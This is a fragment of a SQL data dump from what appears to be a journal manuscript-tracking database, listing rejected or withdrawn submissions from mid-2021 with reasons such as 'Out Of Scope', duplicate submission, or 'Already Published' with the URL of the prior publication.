Https://mbimph.com/index.php/AJOAIR/article/view/2149/1889','2021-07-01'),(1393,9186,2,'1393-plagrism.pdf','others','2021-07-01'),(1394,8356,2,'1394-plagrism.pdf','fee concers','2021-07-01'),(1395,9185,2,'','Copied Content From Https://onlinelibrary.wiley.com/doi/10.1111/hae.13766','2021-07-02'),(1396,9247,2,'','Already Published In Https://mbimph.com/index.php/AJOAIR/article/view/2149/1889','2021-07-06'),(1397,9248,2,'','Invalid File Format','2021-07-06'),(1398,5475,2,'','Out Of Scope','2021-07-08'),(1399,9282,2,'','No File','2021-07-08'),(1400,9298,2,'','Out Of Scope','2021-07-09'),(1401,9299,2,'','Out Of Scope','2021-07-09'),(1402,9313,2,'','Invalid','2021-07-12'),(1403,9322,2,'','File Mismatch','2021-07-12'),(1404,9328,2,'','Out Of Scope','2021-07-12'),(1405,9371,2,'','Out Of Scope','2021-07-13'),(1406,9099,2,NULL,'Already Submitted Previously in this Journal and withdrawal.','2021-07-14'),(1407,9401,2,'','Out Of Scope','2021-07-14'),(1408,9437,2,'','Out Of Scope','2021-07-15'),(1409,9099,2,NULL,'submitted twice','2021-07-16'),(1410,9485,2,'','Out Of Scope','2021-07-17'),(1411,9486,2,'','Out Of Scope','2021-07-17'),(1412,8521,2,'1412-plagrism.docx','not paid','2021-07-21'),(1413,9525,2,'','Out Of Scope','2021-07-21'),(1414,9589,2,'','Out Of Scope','2021-07-22'),(1415,9590,2,'','Out Of Scope','2021-07-22'),(1416,9620,2,'','Out Of Scope','2021-07-23'),(1417,9630,2,'','Out Of Scope','2021-07-23'),(1418,9680,2,NULL,'title wrongly given','2021-07-24'),(1422,6523,2,NULL,'Author has withdrawn','2021-07-29'),(1423,9806,2,'','Duplicate Article In Same Journal','2021-07-29'),(1424,9806,2,'','No File','2021-07-30'),(1425,9818,2,'','Already Published In Https://fsb.bau.edu.bd/bjf/index.php/home/article/view/133/159','2021-07-30'),(1426,2684,2,NULL,'No status of the author','2021-07-30'),(1427,9820,2,'','Out Of Scope','2021-07-30'),(1428,9821,2,'','Repeated','2021-07-30'),(1429,9822,2,'','Repeated','2021-07-30'),(1430,9821,2,'','No File','2021-07-30'),(1431,9822,2,'','No File','2021-07-30'),(1432,9832,2,'','Repeated','2021-08-02'),(1433,9833,2,'','Repeated','2021-08-02'),(1434,9834,2,'','Repeat','2021-08-02'),(1435,9835,2,'','Repeat','2021-08-02'),(1436,9850,2,'','Repeat','2021-08-02'),(1439,9832,2,'','No File','2021-08-02'),(1440,9833,2,'','No File','2021-08-02'),(1441,9834,2,'','No File','2021-08-02'),(1442,9835,2,'','No File','2021-08-02'),(1444,9869,2,'','','2021-08-02'),(1446,5099,2,'','Https://www.imedpub.com/articles/production-of-solanum-tuberosum-l-microtuber-using-temporary-immersion-system.php?aid=21012','2021-08-02'),(1447,3006,2,'','','2021-08-02'),(1448,5733,2,'','','2021-08-02'),(1449,9339,2,'','','2021-08-02'),(1450,9892,2,NULL,'Author withdrawn article as it was submitted twice.','2021-08-03'),(1451,9887,2,'','Repeated','2021-08-04'),(1452,9928,2,NULL,'wrong file','2021-08-04'),(1453,9927,2,NULL,'Wrong file','2021-08-04'),(1454,9927,2,NULL,'Wrong file','2021-08-04'),(1455,9463,0,NULL,'author wish to withdraw from journal, due to publication fee.','2021-08-05'),(1456,9920,2,'','Repeated','2021-08-05'),(1457,9920,2,'','No File','2021-08-05'),(1458,9935,2,'','','2021-08-06'),(1459,9965,2,'','These Articles Are Not Considered From Now. Contact Shiny','2021-08-09'),(1460,9966,2,'','These Articles Are Not Considered From Now. Contact Shiny','2021-08-09'),(1461,9967,2,'','These Articles Are Not Considered From Now. Contact Shiny','2021-08-09'),(1462,9970,2,'','Out Of Scope','2021-08-10'),(1464,10013,2,'','Content Copied (Spin Bot) From Https://onlinelibrary.wiley.com/doi/10.1111/j.1365-2249.2009.03921.x','2021-08-11'),(1465,9985,2,'','Too Large For Any Article','2021-08-11'),(1466,8253,2,NULL,'article is not completed','2021-08-12'),(1467,9990,2,'','Out Of Scope And Poor English','2021-08-12'),(1468,6970,2,'','Already Published In Https://www.journalijtdh.com/index.php/IJTDH/article/view/30429','2021-08-13'),(1469,6334,2,'','','2021-08-13'),(1470,10004,2,'','Invalid','2021-08-13'),(1471,10009,2,'','Already Published In Https://escientificpublishers.com/cell-sonic-cures-covid-19-in-ten-minutes-JMSS-03-0034','2021-08-13'),(1472,10046,2,'1472-plagrism.pdf','TEST SUBMISSION','2021-08-13'),(1473,10024,2,'','About Conferences, Invitations, Market Analysis And Announcements Are Not Acceptable','2021-08-16'),(1474,10025,2,'','About Conferences, Invitations, Market Analysis And Announcements Are Not Acceptable','2021-08-16'),(1475,6367,2,NULL,'Published in another journal','2021-08-17'),(1476,6600,2,NULL,'Published in another journal','2021-08-17'),(1477,6600,2,NULL,'Published in another journal','2021-08-17'),(1478,7608,2,NULL,'published in another journal','2021-08-17'),(1479,10047,2,'','Invalid','2021-08-17'),(1480,6754,2,NULL,'already published','2021-08-17'),(1481,6754,2,NULL,'already published','2021-08-17'),(1482,6297,2,NULL,'Already published','2021-08-17'),(1483,9379,2,NULL,'Reconsideration','2021-08-17'),(1484,9991,2,NULL,'Preqc Revised','2021-08-19'),(1485,10112,2,'','Repeated','2021-08-20'),(1486,10134,2,'','Out Of Scope','2021-08-20'),(1487,10131,2,'','Out Of Scope','2021-08-20'),(1488,10146,2,'','Already Published In Https://irispublishers.com/ann/pdf/ANN.MS.ID.000750.pdf','2021-08-23'),(1489,10152,2,'','Article Title Cannot Be A Single Word.. Change The Title','2021-08-23'),(1490,10175,2,'','Out Of Scope','2021-08-24'),(1491,6963,2,'','Already Published In Https://www.ajol.info/index.php/ajcem/article/view/205572','2021-08-24'),(1493,6777,2,NULL,'Author is not interested to publish','2021-08-24'),(1494,10180,2,NULL,'Author is willing to withdraw the article.','2021-08-25'),(1495,10224,2,'','Out Of Scope','2021-08-26'),(1496,10235,2,NULL,'Withdrawn','2021-08-28'),(1497,1735,2,'','','2021-08-30'),(1498,10237,2,'','Out Of Scope','2021-08-30'),(1499,10238,2,'','Out Of Scope','2021-08-30'),(1500,10242,2,'','Out Of Scope','2021-08-31'),(1501,10255,2,'','Already Published In Https://journals.sagepub.com/doi/full/10.1177/0263617419865130','2021-08-31'),(1502,10283,2,'','Already Published In Https://www.ijpsonline.com/articles/correlation-between-serum-25hydroxyvitamin-d3-and-abnormal-insulin-secretion-in-patients-with-type-2-diabetes-mellitus-4083.html#:~:text=Abnormal%20insulin%20secretion%20group%20had,group%20(p%3C0.05).','2021-09-02'),(1503,10279,2,'','Out Of Scope','2021-09-02'),(1504,10273,2,'1504-plagrism.docx','Author want to withdrawn her Manuscript','2021-09-02'),(1505,9403,2,'1505-plagrism.pdf','other','2021-09-02'),(1506,10307,2,'','Already Accepted In Research & Reviews: Journal Of Botanical Sciences  (jbs)\n  RROIJ','2021-09-02'),(1507,10348,2,'','Already Published In Https://www.omicsonline.org/open-access/traditional-uses-of-medicinal-plants-of-badami-taluk-district-bagalkot.pdf','2021-09-06'),(1508,10372,2,'','Already Published In Https://pubmed.ncbi.nlm.nih.gov/32496928/','2021-09-06'),(1509,10396,2,'','','2021-09-07'),(1510,10389,2,'','Out Of Scope','2021-09-07'),(1511,10398,2,'','Out Of Scope','2021-09-08'),(1512,10403,2,'','Title Already Published In Https://pubmed.ncbi.nlm.nih.gov/32496928/','2021-09-09'),(1513,10438,2,NULL,'File already exists','2021-09-09'),(1514,10421,2,'','Out Of Scope','2021-09-13'),(1515,10424,2,'','Out Of Scope','2021-09-13'),(1516,10296,2,NULL,'Author don not want to submit in this Journal','2021-09-16'),(1517,10296,2,NULL,'Author don not want to submit in this Journal','2021-09-16'),(1518,10296,2,NULL,'Author don not want to submit in this Journal','2021-09-16'),(1519,10294,2,NULL,'Author don not want to submit in this Journal','2021-09-16'),(1520,10294,2,NULL,'Author don not want to submit in this Journal','2021-09-16'),(1521,10296,2,NULL,'Author don not want to submit in this Journal','2021-09-16'),(1522,10284,2,NULL,'Author don not want to submit in this Journal','2021-09-16'),(1523,10285,2,NULL,'Author don not want to submit in this Journal','2021-09-16'),(1524,10287,2,NULL,'Author don not want to submit in this Journal','2021-09-16'),(1525,10288,2,NULL,'Author don not want to submit in this Journal','2021-09-16'),(1526,10289,2,NULL,'Author don not want to submit in this Journal','2021-09-16'),(1527,10293,2,NULL,'Author don not want to submit in this Journal','2021-09-16'),(1528,10292,2,NULL,'Author don not want to submit in this Journal','2021-09-16'),(1529,10290,2,NULL,'Author don not want to submit in this Journal','2021-09-16'),(1530,10286,2,NULL,'Author don not want to submit in this Journal','2021-09-16'),(1531,10291,2,NULL,'Author don not want to submit in this Journal','2021-09-16'),(1532,10295,2,NULL,'Author don not want to submit in this Journal','2021-09-16'),(1533,10533,2,NULL,'wrong article type','2021-09-16'),(1534,4624,0,NULL,'Published in other journal','2021-09-17'),(1535,10434,2,'','Already Published\nhttps://en.x-mol.com/paper/article/1434381051090497536','2021-09-17'),(1536,6845,2,'','Already Published\r\nhttps://pubmed.ncbi.nlm.nih.gov/33639293/','2021-09-18'),(1537,6093,2,'','Already Published\r\nhttps://pediatric-emergency-care.imedpub.com/socioeconomic-and-racial-disparities-in-severity-of-pediatric-pool-drownings.php?aid=34652','2021-09-18'),(1538,10465,2,'','No Article Title','2021-09-18'),(1539,6836,2,'','Already Published In Health Science Journal\nhttps://www.hsj.gr/medicine/reforming-rebate-contracting-willimprove-drug-affordability.pdf','2021-09-20'),(1540,6834,2,'','Already Published:\nhttps://www.acanceresearch.com/cancer-research/copd-exacerbations-affect-clinical-outcome-in-advanced-nonsmall-cell-lung-cancer-a-retrospective-analysis.pdf','2021-09-20'),(1541,6793,2,'','Already Published:\nhttps://www.hsj.gr/medicine/sonographic-reference-luminal-diameterof-the-abdominal-aorta-among-subjectsin-nigeria.pdf','2021-09-20'),(1542,6776,2,'','Already Published:\nhttps://www.hsj.gr/medicine/breastfeeding-in-the-novel-coronavirusdisease-2019-covid19-confirmed-casesof-women.pdf','2021-09-20'),(1543,6776,2,'','Already Published:\\\\nhttps://www.hsj.gr/medicine/breastfeeding-in-the-novel-coronavirusdisease-2019-covid19-confirmed-casesof-women.pdf','2021-09-20'),(1544,6757,2,'','Already Published:\nhttp://ijhr.iums.ac.ir/article_126600.html','2021-09-20'),(1545,6757,2,'','Already Published Http://ijhr.iums.ac.ir/article_126600.html#ar_info_pnl_fl','2021-09-20'),(1546,6758,2,'','Already Published:\nhttps://pediatrics.imedpub.com/do-cranial-remolding-orthoses-work.pdf','2021-09-20'),(1547,6742,2,'','Already Published In Health Science Journal\nhttps://www.imedpub.com/editorial-tracking/document-view.php?sb_id=11013&p_file=6742-0-Manuscript-2020-11-24.docx','2021-09-20'),(1548,6708,2,'','Already Published Https://www.hsj.gr/medicine/intestinal-parasitic-infection-statusipis-among-primary-school-children-inethiopia-a-systematic-review-and-metaanalysis.pdf','2021-09-20'),(1549,6714,2,'','Already Published:https://www.hsj.gr/medicine/a-case-of-360-degree-cervicaldecompression-and-fusion-in-a-65-yearold-man-with-tandem-spinal-stenosis.pdf','2021-09-20'),(1550,6718,2,'','Already Published: Https://www.hsj.gr/medicine/occupational-rehabilitation-of-patients-with-posterior-cerebral-artery-stroke-and-anatomical-variations-of-the-circle-of-willis.php?aid=33596','2021-09-20'),(1551,6726,2,'','Already Published:\nhttps://www.imedpub.com/articles/research-on-cybercrime-and-its-policing.php?aid=33994','2021-09-20'),(1552,6704,2,'','Already Published: Https://www.hsj.gr/medicine/nivolumab-and-acute-grade-iii-renaltoxicity.php?aid=33742','2021-09-20'),(1553,6589,2,'','Article Published In Nov 2020\n\n\nhttps://www.imedpub.com/articles/foliar-application-of-chitosan-and-yeast-elicitor-facilitate-reducing-incidence-and-severity-of-alternaria-leaf-blight-of-tomato-a.pdf','2021-09-20'),(1554,6202,2,'','Published In Feb 2021\n\nhttps://www.phytojournal.com/archives/2021/vol10issue2/PartO/10-1-113-828.pdf','2021-09-20'),(1555,6679,2,'','Already Published Https://www.hsj.gr/medicine/diagnostic-values-of-inflammatorymarkers-at-picu.pdf','2021-09-20'),(1556,6657,2,'','Altready Published Https://www.imedpub.com/articles/a-rare-case-of-neck-of-femur-fracture-in-a-female-adolescent-associated-with-minor-trauma-and-impaired-bone-metabolism.php?aid=33916','2021-09-20'),(1557,6635,2,'','Already Published  Https://medicalphysics.imedpub.com/the-structural-shielding-of-the-new-radiotherapy-bunker-at-the-general-hospital-of-yaounde-in-cameroon-an-enhancement-of-radiation.pdf','2021-09-20'),(1558,6670,2,'','Already Published In Https://medicalphysics.imedpub.com/optimization-of-pertubation-effects-and-radiotherapy-facillities-of-the-general-hospital-of-douala-staff-equipment-and-infrastruct.pdf','2021-09-20'),(1559,6634,2,'','Already Published In Https://www.imedpub.com/articles/cervical-desmoid-tumor-about-a-case-and-review-of-literature.pdf','2021-09-20'),(1560,6627,2,'','Already Published Https://www.scitechnol.com/peer-review/significance-of-gastrointestinal-stromal-tumors-9PEJ.pdf','2021-09-20'),(1561,6628,2,'','Already Published Https://dual-diagnosis.imedpub.com/violence-in-the-homosexual-population-a-social-problem.pdf','2021-09-20'),(1562,6629,2,'','Already Published Https://dual-diagnosis.imedpub.com/linguistic-deficiencies-in-primary-progressive-multiple-sclerosis.pdf','2021-09-20'),(1563,6612,2,'','Already Published Https://interventional-radiology.imedpub.com/retrospective-review-of-incidence-and-complications-relating-to-implantable-central-venous-catheters-cvc-by-interventional-radiolo.pdf','2021-09-20'),(1564,6626,2,'','Already Published Https://www.imedpub.com/articles/deploying-ai-as-teachers-in-the-rural-areas-of-ghana.pdf','2021-09-20'),(1565,6632,2,'','Already Published \nhttps://www.imedpub.com/articles/presentation-of-a-multiagent-method-to-improve-load-balance-and-provisioning-dynamic-resources-in-the-cloud-computing-environment.pdf','2021-09-20'),(1566,6604,2,'','Already Published Https://www.hsj.gr/medicine/hospitalization-rate-among-recipients-ofnonskilled-home-care-and-the-feasibilityof-using-a-novel-standardized-assessmentto-reduce.php?aid=33499','2021-09-20'),(1567,6605,2,'','Already Published Https://www.hsj.gr/medicine/anxiety-symptoms-in-universityprofessors-during-the-covid19-pandemic.php?aid=33498','2021-09-20'),(1568,6606,2,'','Already Published: Https://head-and-neck-cancer-research.imedpub.com/trichoblastic-carcinoma-of-the-upper-lip.pdf','2021-09-20'),(1569,6599,2,'','Already Published: Https://health-medical-economics.imedpub.com/the-story-of-the-american-healthcareworkforce-18502017-a-time-series-analysis.pdf','2021-09-20'),(1570,6598,2,'','Already Published:https://www.imedpub.com/articles/a-simulative-study-on-the-performance-of-load-balancing-techniques-over-varying-cloud-infrastructure-using-cloudsim.pdf','2021-09-20'),(1571,5716,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjG0KaPo43zAhVaILcAHaK1DJsQFnoECAgQAQ&url=https%3A%2F%2Farchives.palarch.nl%2Findex.php%2Fjae%2Farticle%2Fdownload%2F3988%2Fversion%2F4408%2F3926%2F7640&usg=AOvVaw26CrDBNIhsXQz332UcOr_f','2021-09-20'),(1572,6606,2,'','Already Published In Https://head-and-neck-cancer-research.imedpub.com/trichoblastic-carcinoma-of-the-upper-lip.pdf','2021-09-20'),(1573,6570,2,'','Already Published In Https://www.hsj.gr/medicine/teleradiology-and-ai-as-solution-toovercome-the-covid19-pandemicimpact-during-the-lockdowns-in-africa.pdf','2021-09-20'),(1574,6587,2,'','Already Published In Https://www.imedpub.com/articles/multimodal-role-of-exosomes-in-covid19-transmission-diagnosis-and-therapy.pdf','2021-09-20'),(1575,6561,2,'','Already Published Https://www.hsj.gr/medicine/tuberculosis-treatment-outcomes-among-children-in-ethiopia-systematic-review-and-metaanalysis.pdf','2021-09-20'),(1576,5465,2,'','Already Published In Https://www.hsj.gr/medicine/assessment-and-comparative-study-ofjob-stress-in-jam-hospital-jobs-tehrancity.php?aid=34382','2021-09-20'),(1577,6550,2,'','Already Published In Https://www.hsj.gr/medicine/a-crosssectional-study-on-the-healthy-and-nutritionally-balanced-vegetarian-midday-meal-for-universal-acceptance-an-overview.pdf','2021-09-20'),(1578,6558,2,'','Already Published In Https://www.researchgate.net/publication/350189864_Association_Between_Socio-Demographic_Factors_and_Adherence_to_Treatment_by_HIV_Patients_Undergoing_Anti-Retroviral_Treatment_at_The_University_of_Calabar_Teaching_Hospital','2021-09-20'),(1579,6501,2,'','Already Published In Https://www.hsj.gr/medicine/a-controlled-final-irrigation-protocolreduces-the-acute-pain-rate-of-singleversus-twovisit-rct-of-teeth-withnecrotic-pulp-and-apic.php?aid=33315','2021-09-20'),(1580,6468,2,'','Already Published In Https://www.hsj.gr/medicine/the-potential-impact-of-helicobacterpylori-infection-on-the-onset-of-metabolicdisease.php?aid=33229','2021-09-20'),(1581,6516,2,'','Already Published: Https://diversityhealthcare.imedpub.com/comparison-of-the-effectiveness-of-gottman-method-couple-therapy-with-narrative-therapy-on-couples-burnout-and-marital-adjustment.php?aid=28636','2021-09-20'),(1582,6519,2,'','Already Published: Https://diversityhealthcare.imedpub.com/effectiveness-of-deep-breath-relaxation-and-lavender-aromatherapy-against-preoperative-patent-anxiety.php?aid=28637','2021-09-20'),(1583,6516,2,'','Already Published In Https://diversityhealthcare.imedpub.com/comparison-of-the-effectiveness-of-gottman-method-couple-therapy-with-narrative-therapy-on-couples-burnout-and-marital-adjustment.php?aid=28636','2021-09-20'),(1584,6505,2,'','Already Published: \nhttps://www.biorxiv.org/content/10.1101/2020.05.14.095133v1.full','2021-09-20'),(1585,10477,2,'','Absurd Content (Re-written)','2021-09-20'),(1586,6456,2,'','Already Published\r\nhttps://www.hsj.gr/medicine/complex-febrile-seizures-associated-withdoose-vs-dravet-syndrome-presentationof-a-clinical-case.php?aid=33228','2021-09-20'),(1587,6455,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwi60Y3GsI3zAhWBYisKHUfUC44QFnoECAIQAQ&url=https%3A%2F%2Fwww.hsj.gr%2Fmedicine%2Fpresentation-of-a-case-of-fulminanthepatitis-due-to-hepatitis-a-in-a-3-year-old-female-preschool.php%3Faid%3D33227&usg=AOvVaw3oTXYRcgyZCvPCXHv3aRDR','2021-09-20'),(1588,6434,2,'','Already Published\r\nhttps://www.hsj.gr/medicine/is-procalcitonin-and-lactate-a-earlymarkers-for-sepsis-in-newborns-in-the-icu.pdf','2021-09-20'),(1589,6437,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjhn4yssY3zAhXWdn0KHU--DHMQFnoECAIQAQ&url=https%3A%2F%2Fwww.hsj.gr%2Fmedicine%2Fimproving-mental-health-in-maorichildren-witnessing-family-violence-innew-zealand.php%3Faid%3D33749&usg=AOvVaw3mX2UxQyBz0cqpVDZb3HVI','2021-09-20'),(1590,6376,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjXpfrBsY3zAhXNAnIKHb-bCdoQFnoECAYQAQ&url=https%3A%2F%2Fwww.hsj.gr%2Fmedicine%2Fextra-and-intraparenchymal-renal-arteryaneurysms-causing-hydronephrosis-acase-report.php%3Faid%3D32214&usg=AOvVaw22eyY9gsGjjhNeXKg-kJZK','2021-09-20'),(1591,6377,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjj2rnjsY3zAhUEQH0KHT_TBBIQFnoECAUQAw&url=https%3A%2F%2Fwww.hsj.gr%2Fmedicine%2Ffamily-support-and-coping-mechanism-incongestive-heart-failure-patient.php%3Faid%3D32851&usg=AOvVaw2VZAa0PyzzDQ2aydTZTjba','2021-09-20'),(1592,6398,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwiY4MTzsY3zAhWOXCsKHZOxCAcQFnoECAMQAQ&url=https%3A%2F%2Fhospital-medical-management.imedpub.com%2Fexploring-evidence-a-challenge-before-nurses-of-today.pdf&usg=AOvVaw3WEYlS0a7Uc5eBF9kSJdfP','2021-09-20'),(1593,6354,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwiDhsyNso3zAhXHZCsKHa9oATQQFnoECAYQAQ&url=https%3A%2F%2Fwww.hsj.gr%2Fmedicine%2Frisk-factors-and-prevalence-of-neonatalpolycythemia-in-duhok-maternityhospitala-crosssection-study.php%3Faid%3D32733&usg=AOvVaw2edi9TLtIM1y1UhPN2qkZM','2021-09-20'),(1594,6324,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwju34Oiso3zAhVOX30KHfOdAPQQFnoECAcQAQ&url=https%3A%2F%2Fwww.hsj.gr%2Fmedicine%2Fa-new-early-diagnostic-approach-ofsepsis-in-newborns-with-respiratorydistress-syndrome-at-the-intensive-careunit.php%3Faid%3D32734&usg=AOvVaw3RC-O3B3ifxrgE8__o5MrY','2021-09-20'),(1595,6244,2,'','Already Published\r\nhttps://www.hsj.gr/abstract/is-there-a-correlation-between-changesrnin-hydroxychloroquine-use-and-mortalityrnrates-from-covid19-32674.html','2021-09-20'),(1596,10479,2,'','Content Not Satisfactory.','2021-09-20'),(1597,6265,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjG36jkso3zAhXUQ30KHYm-BJ8QFnoECAQQAQ&url=https%3A%2F%2Fwww.hsj.gr%2Fmedicine%2Fapplication-of-peptides-and-proteomicsin-the-diagnosis-and-management-ofpancreatic-cancer.php%3Faid%3D32673&usg=AOvVaw3UIMPVxgHQ_EwlkK5960ko','2021-09-20'),(1598,6290,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjEgZ2Us43zAhUbU30KHW58Aa8QFnoECAcQAQ&url=https%3A%2F%2Fwww.hsj.gr%2Fmedicine%2Ftelehealth-and-achieving-the-quadrupleaim-in-rural-communities-a-vision-forthe-21st-century.php%3Faid%3D32720&usg=AOvVaw0D8FJpt-uxRsd4XLqKYGsr','2021-09-20'),(1599,6228,2,'','Already Published\r\nhttps://zenodo.org/record/4063571#.YUhqRRzhXIU','2021-09-20'),(1600,6219,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwj8k8Tps43zAhWDbysKHSCxAsgQFnoECAIQAQ&url=https%3A%2F%2Fwww.hsj.gr%2Fmedicine%2Fefficacy-of-plantextract-based-gel-forfacial-acne-treatment-randomizedcontrolled-parallel-group-andcomparative-study.php%3Faid%3D32721&usg=AOvVaw2DXVwBmkVH246l2dIW29Cu','2021-09-20'),(1601,6203,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwiepOCitI3zAhX_63MBHfs1CwUQFnoECAQQAQ&url=https%3A%2F%2Fwww.hsj.gr%2Fmedicine%2Ffeeding-practices-and-nutritionalevolution-of-preterm-infants-duringhospitalization-a-longitudinal-study.php%3Faid%3D32676&usg=AOvVaw2O8XiCdXS_oQCdfdtGm6Rm','2021-09-20'),(1602,10482,2,'','Content Not Satisfactory.','2021-09-20'),(1603,6221,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjahM61tI3zAhVAILcAHdbEAgkQFnoECAQQAQ&url=https%3A%2F%2Fwww.hsj.gr%2Fmedicine%2Fclinical-efficacy-on-treatment-of-broadspectrum-viral-infections-with-topical-useof-polyherbal-plant-extract-based-oils.php%3Faid%3D32722&usg=AOvVaw1QdnW8URBzhKKAB4qYrX4e','2021-09-20'),(1604,6147,2,'','Already Published\r\nhttp://medcraveonline.com/IJCAM/a-systematic-review-of-randomised-controlled-trials-examining-curcuma-longa-for-dementianbsp.html','2021-09-20'),(1605,6029,2,'','Already Published\r\nhttps://dergipark.org.tr/tr/download/article-file/1375394','2021-09-20'),(1606,6032,2,'','Already Published\r\nhttps://www.ncbi.nlm.nih.gov/pmc/articles/PMC8092850/','2021-09-20'),(1607,5996,2,'','Already Published\r\nhttps://www.hsj.gr/medicine/effects-of-a-multiprofessional-programand-isolated-in-improvement-of-thefunctional-fitness-of-elderly.php?aid=31014','2021-09-20'),(1608,6006,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwir2JTctY3zAhUG63MBHdfZCc0QFnoECAQQAQ&url=https%3A%2F%2Fwww.hsj.gr%2Fmedicine%2Fevaluation-of-the-histopathologicalfindings-of-128-persistent-periapicalradiolucent-lesions-of-endodontic-originobtained-during-ap.php%3Faid%3D33314&usg=AOvVaw03lBQCu8Nlctiq3N9j-CKc','2021-09-20'),(1609,6003,2,'','Already Published\r\nhttps://www.hsj.gr/medicine/effects-of-steroid-hormones-on-sleep.pdf','2021-09-20'),(1610,6023,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwiHzO78tY3zAhXF7nMBHakiAfMQFnoECAIQAQ&url=https%3A%2F%2Fwww.hsj.gr%2Fmedicine%2Faquatic-psychomotricity-contribution-toglobal-and-fine-motor-skills-of-elderlywith-stroke.php%3Faid%3D32675&usg=AOvVaw0fsy4T3GHEoioyZD3zv2jY','2021-09-20'),(1611,5974,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjHsIebto3zAhU57HMBHRmbBc0QFnoECAUQAQ&url=https%3A%2F%2Fwww.hsj.gr%2Fmedicine%2Fnlinked-glycosylation-and-its-potentialapplication-in-drug-development.php%3Faid%3D30911&usg=AOvVaw1W2gLT0q7-n0KlmYLVyxG_','2021-09-20'),(1612,5984,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwi50oyyto3zAhWc73MBHbO7DagQFnoECAkQAQ&url=https%3A%2F%2Fwww.hsj.gr%2Fmedicine%2Ftrainee-doctors-perception-ofthe-adequacy-of-support-duringtheir-intensive-care-attachment-aphenomenological-study.pdf&usg=AOvVaw3qDh14bQ29vjfr52AtH7Lf','2021-09-20'),(1613,5936,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwiJhJ3Eto3zAhWy9nMBHVT4DXUQFnoECAQQAQ&url=https%3A%2F%2Fwww.hsj.gr%2Fmedicine%2Flocus-of-control-with-learningachievement-student-nurse.php%3Faid%3D31001&usg=AOvVaw2HB1Td56Q6QJ13igZ3rrCJ','2021-09-20'),(1614,5909,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwiRkpftto3zAhXk7nMBHR2DAJQQFnoECAUQAQ&url=https%3A%2F%2Fwww.hsj.gr%2Fmedicine%2Fmental-health-and-covid19-infection-systematic-review-in-human-crosssectional-studies.php%3Faid%3D30699&usg=AOvVaw3p3aj7xk4tKI0Wv2bXZgTj','2021-09-20'),(1615,5908,2,'','Already Published\r\nhttps://behaviouralscience.imedpub.com/the-importance-of-resilience-in-the-management-of-chronic-pain-in-occupational-therapy-a-general-study.pdf','2021-09-20'),(1616,5887,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjZpKqPt43zAhWFX3wKHUW7BuMQFnoECAUQAQ&url=https%3A%2F%2Fwww.hsj.gr%2Fmedicine%2Fa-novel-approach-to-prevent-pterygiumrecurrence.php%3Faid%3D30948&usg=AOvVaw3SbmNFH7-BB2yVkmQFjPt_','2021-09-20'),(1617,5888,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjBmeCkt43zAhUe7XMBHTqgA3oQFnoECAYQAQ&url=https%3A%2F%2Fwww.hsj.gr%2Fmedicine%2Fa-novel-approach-to-prevent-intraocularpressure-spikes-and-reflux-duringintravitreal-injections.php%3Faid%3D30950&usg=AOvVaw3o7qesM8ldYWZCgcAqTixq','2021-09-20'),(1618,5889,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjkyZe8t43zAhWs63MBHY__A1wQFnoECAkQAQ&url=https%3A%2F%2Fwww.hsj.gr%2Fmedicine%2Fdiabetic-retinopathy-health-crises-inkurdistan-governorateiraqerbil.php%3Faid%3D30951&usg=AOvVaw2HySGso9GpEY8UrEgYwYZF','2021-09-20'),(1619,5890,2,'','Already 